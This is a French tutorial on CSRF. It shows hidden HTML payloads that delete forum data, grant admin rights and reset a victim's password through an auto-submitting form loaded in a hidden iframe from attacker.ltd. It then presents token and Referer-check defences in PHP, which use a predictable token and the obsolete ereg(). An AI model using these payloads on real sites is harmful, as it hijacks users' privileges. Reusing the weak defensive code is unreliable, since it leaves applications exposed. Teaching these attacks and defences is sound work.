CSRF Injection
Une attaque CSRF se repose sur l’exploitation de la confiance d’une application WEB vis à vis ses clients, l’objectif de cette dernière est de forcer le navigateur à envoyer une requête « forgée » à l’insu d’un internaute connecté à son compte avec les privilèges de ce dernier, autrement dit : « Je n’ai pas les droits pour faire une action, je m’arrange alors pour que l’utilisateur ayant les privilèges nécessaires la fasse à ma place (sans qu’il soit au courant bien entendu) ».
Ce type d’attaque n’est pas difficile à mettre en œuvre, il peut être mené par n’importe qui par un simple lien ou script caché dans un email ou une page WEB, on suivant le lien contrefait le navigateur de la victime exécutera le code avec les permissions qu’a ce dernier sur le site vulnérable (forum, blog, espace membre..).
Quelques exemples d’exploitation:
Pour illustrer la facilité de la mise en œuvre d’une attaque CSRF avec des exemples concrets: Je vais prendre l’exemple d’un forum qui n’as pas pensé à se protéger contre ce type de faille, son administrateur connecté à son espace admin visite une page contenant l’un de ces codes :
Exemple avec des requêtes GET
Suppression de tous les topics d’un forum
1.
<
img
src
=
"http://www.victime.ltd/forum/admin/delete.php?msg=all"
alt
=
""
width
=
"0"
height
=
"0"
/>
Suppression d’un utilisateur :
1.
<
script
src
=
"http://www.victime.ltd/forum/admin/deleteuser.php?username=toto"
type
=
"text/javascript"
></
script
>
Donner les drois d’administrateur à l’utilisateur haxor
1.
<
span
style
=
"background:url(http://www.victime.ltd/forum/admin/addadmin.php?username=haxor"
>Hello master</
span
>
Comment ça marche?
Lorsque l’administrateur du forum visite une page contenant l’un de ces codes, son navigateur va essayer de charger l’image se trouvant à l’adresse indiquée par la balise « <img> » sans se douter que ce n’est pas une image. Le serveur du forum va donc exécuter la page et supprimer tous les messages en croyant que c’est l’administrateur qui a demandé la suppression!
On partant sur le même principe le deuxième et troisième exemples illustrent l’utilisation des balises HTML avec différents attributs où le but est toujours de forcer le navigateur à appeler une page web du site victime via une requête HTTP de type GET, cette page sera interprétée par le serveur ce qui mènera à des actions non désirés par le client possédant des droits privilégiés!
Exemple avec une requête POST
On suppose que sur notre forum nous avons un formulaire de modification de mot de passe et qu’on souhaite forger une requête HTTP de type POST pour forcer le navigateur à poster les données afin de modifier le mot de passe du client (toujours à son insu bien entendu).
voici à quoi le code du formulaire peut ressembler
1.
<
form
action
=
"/user/changepasswd.php"
method
=
"post"
>
2.
Entrez votre nouveau mot de passe :
3.
<
input
type
=
"hidden"
name
=
"new_password"
value
=
""
/>
4.
Confirmer le nouveau mot de passe :
5.
<
input
type
=
"hidden"
name
=
"new_password_confirm"
value
=
""
/>
6.
<
input
type
=
"submit"
value
=
"Enregistrer les modification"
/>
7.
</
form
>
L’objectif est d’effectuer une requête HTTP de type POST vers la page changepasswd.phpavec les champs new_password et new_password_confirm pré-remplis, avec le nouveau passe souhaité par l’attaquant, pour cela un attaquant peut procéder ainsi :
- Création d’une première page qui contient le formulaire pré-remplis avec comme « action » l’url du site victime
- Mettre en place un code javascript pour soumettre le formulaire au chargement de la page
- Créer une deuxième page pour cacher la première dans un <iframe> afin de cacher ce qui se passe derrière ;)
D’où le code de la première page (on la nome csrfpost.html) est :
01.
<
script
type
=
"text/javascript"
>
02.
window.onload = function(){
03.
document.getElementById("csrf_form").submit();
04.
}
05.
</
script
>
06.
<
form
id
=
"csrf_form"
action
=
"http://www.victime.ltd/user/changepasswd.php"
method
=
"post"
>
07.
<
input
type
=
"hidden"
name
=
"new_password"
value
=
"pwn3d"
/>
08.
<
input
type
=
"hidden"
name
=
"new_password_confirm"
value
=
"pwn3d"
/>
09.
</
form
>
Le code de la deuxième page devrai contenir un <iframe> caché avec d’éventuel contenu pour que la victime ne se doute pas!
1.
Hello master
2.
<
iframe
src
=
"http://attacker.ltd/csrfpost.html"
width
=
"1"
height
=
"1"
style
=
"display:none;"
></
iframe
>
De cette manière l’iframe appelera la page csrfpost.html qui postera la requête post forgée vers la page http://www.victime.ltd/user/changepasswd.php et qui de son tour sera exécuté par le serveur du site vulnerable, et le password sera modifié par un nouveau ( « pwn3d » dans notre cas)!
Faites gaffe alors lorsqu’on vous incitent, à visiter un lien quelconque, et si jamais vous avez suivis un lien et que le contenu de la page ne vous dit rien; examinez le code source! il y a de forte possibilités qu’il s’agit d’une attaque CSRF.
Comment se protéger ?
Il est assez difficile de détecter une attaque CSRF même en utilisant un antivirus ou un firewall, alors là l’antivirus c’est vous! L’objectif est d’empêcher le navigateur à effectuer des recettes à l’insu du client ou sans accord préalable de ce dernier.
Pour cela voici des mesures à prendre en compte :
Pour cela voici des mesures à prendre en compte :
- Ne pas suivre les liens suspects
- Ne pas sauvegarder vos identifiants dans votre navigateur
- Toujours se déconnecter à la fin d’utilisation de vos comptes
- Utilisez un deuxième navigateur pour les sites suspects
- Désactiver l’interprétation du code HTML dans vos client WEBMail
Comment sécuriser son code?
Si vous êtes développeur, voici quelques bonnes pratiques à implémenter dans vos codes:
- Toujours utiliser des pages de confirmation et demander la validation du client avant toute action critique
- Utiliser des jetons de sécurité (tokenid) dans tous vos pages sensibles (voir l’exemple)
- Vérifier l’URL de provenance (HTTP_REFERER) pour prévenir des requêtes POST forgées (voir l’ exemple)
Utiliser des jetons:
L’utilisation d’un jeton de sécurité est primordiale pour une application qui se respecte, personnellement je trouve que c’est la meilleure solution pour se protéger contre les attaques CSRF!
Pour les requêtes HTTP de type GET:
On deverai avoir 2 pages, une page de confirmation qui servira à la génération d’une clé aléatoire (jeton) et la stocker dans une variable de session, ainsi tous les liens qui servent d’effectuer des actions sensibles porteront ce jeton dans une variable GET, le contenu de cette variable sera vérifié dans la deuxième page qui exécute l’action.
Exemple de page de confirmation avec une requête GET
<?php
2.
session_start();
3.
// on génere une clé aléatoire de 32 caractères et on la met dans notre variable de session
4.
$_SESSION
[
'tokenid'
] =
str_shuffle
(md5(microtime(true)));
5.
?>
6.
Etes vous sûre de vouloir supprimer l'utilisateur toto ??
7.
<a href=
"supprimer_utilisateur.php?username=toto&amp;tokenid=<?php echo $_SESSION['tokenid'] ?>"
>Supprimer</a>
8.
<a href=
"javascript:history.back();"
>Annuler</a>
Dans la page supprimer_utilisateur.php
01.
<?php
02.
session_start();
03.
// on verifie la clé de securité avant de procéder au traitement
04.
if
(!
empty
(
$_GET
[
'tokenid'
]) &amp;&amp;
$_GET
[
'tokenid'
] ==
$_SESSION
[
'tokenid'
]){
05.
// on détruit la session ne pas la réutiliser par un utilisateur malveillant
06.
unset(
$_SESSION
[
'tokenid'
]);
07.
// on efféctue le traitement
08.
}
09.
else
{
10.
die
(
"Votre session a expirée"
);
11.
}
12.
?>
Pour les requêtes HTTP de type POST
Quant aux requêtes HTTP de type POST c’est toujours le même principe que pour GET sauf qu’au lieu de passer le jeton en paramètre dans le lien on le mets dans un champs caché de type « hidden ».
On reprends l’exemple mentionné en haut mais cette fois-ci securisé =)
01.
<?php
02.
session_start();
03.
$_SESSION
[
'tokenid'
] =
str_shuffle
(md5(microtime(true)));
04.
?>
05.
<form action=
"/user/changepasswd.php"
method=
"post"
>
06.
Entrez votre nouveau mot de passe :
07.
<input type=
"hidden"
name=
"new_password"
value=
""
/>
08.
Confirmer le nouveau mot de passe :
09.
<input type=
"hidden"
name=
"new_password_confirm"
value=
""
/>
10.
<input type=
"submit"
value=
"Enregistrer les modification"
/>
11.
<input type=
"hidden"
name=
"tokenid"
value=
"<?php echo $_SESSION['tokenid'] ?>"
/>
12.
</form>
Et dans le fichier changepasswd.php
01.
<?php
02.
session_start();
03.
// on verifie la clé de securité avant de procéder au traitement
04.
if
(!
empty
(
$_POST
[
'tokenid'
]) &amp;&amp;
$_POST
[
'tokenid'
] ==
$_SESSION
[
'tokenid'
]){
05.
// on détruit la session pour ne pas la réutiliser par un utilisateur malveillant
06.
unset(
$_SESSION
[
'tokenid'
]);
07.
// on efféctue le traitement
08.
}
09.
else
{
10.
die
(
"Votre session a expirée"
);
11.
}
12.
?>
Ne faite jamais confiance à aucune données récupéré coté client tant que le filtrage n’as pas été approuvé =)
Vérification de l’url de provenance :
La vérification de l’url de provenance vous aidera à mieux vous protéger contre les CSRF avec des requêtes POST comme dans l’exemple expliqué en haut, ce n’est pas une protection sûre et peut être contourné si l’attaque provient du même site, mais ça permet comme même d’éviter plusieurs ennuits ;)
Bref, il suffit de placer le code suivant dans les fichiers qui effectuent des actions sensibles (changement de mot de passe, suppression de données, etc..)
1.
if
(!
empty
(
$_SERVER
[
'HTTP_REFERER'
])){
2.
if
(!
ereg
(
$_SERVER
[
'HTTP_HOST'
],
$_SERVER
[
'HTTP_REFERER'
])){
3.
die
(
"Vous ne pouvez pas venir ici!"
);
4.
}
5.
}
6.
else
{
7.
die
(
"Referer introuvable"
);
8.
}
Conclusion
La faille CSRF Injection reste parmi les classes d’attaques les plus dangereuses sur le WEB vu son exploitation instantanée et les importants dégâts qu’elle peut engendrer! Je détaillerai dans un prochain billet l’exploitation avancée de cette dernière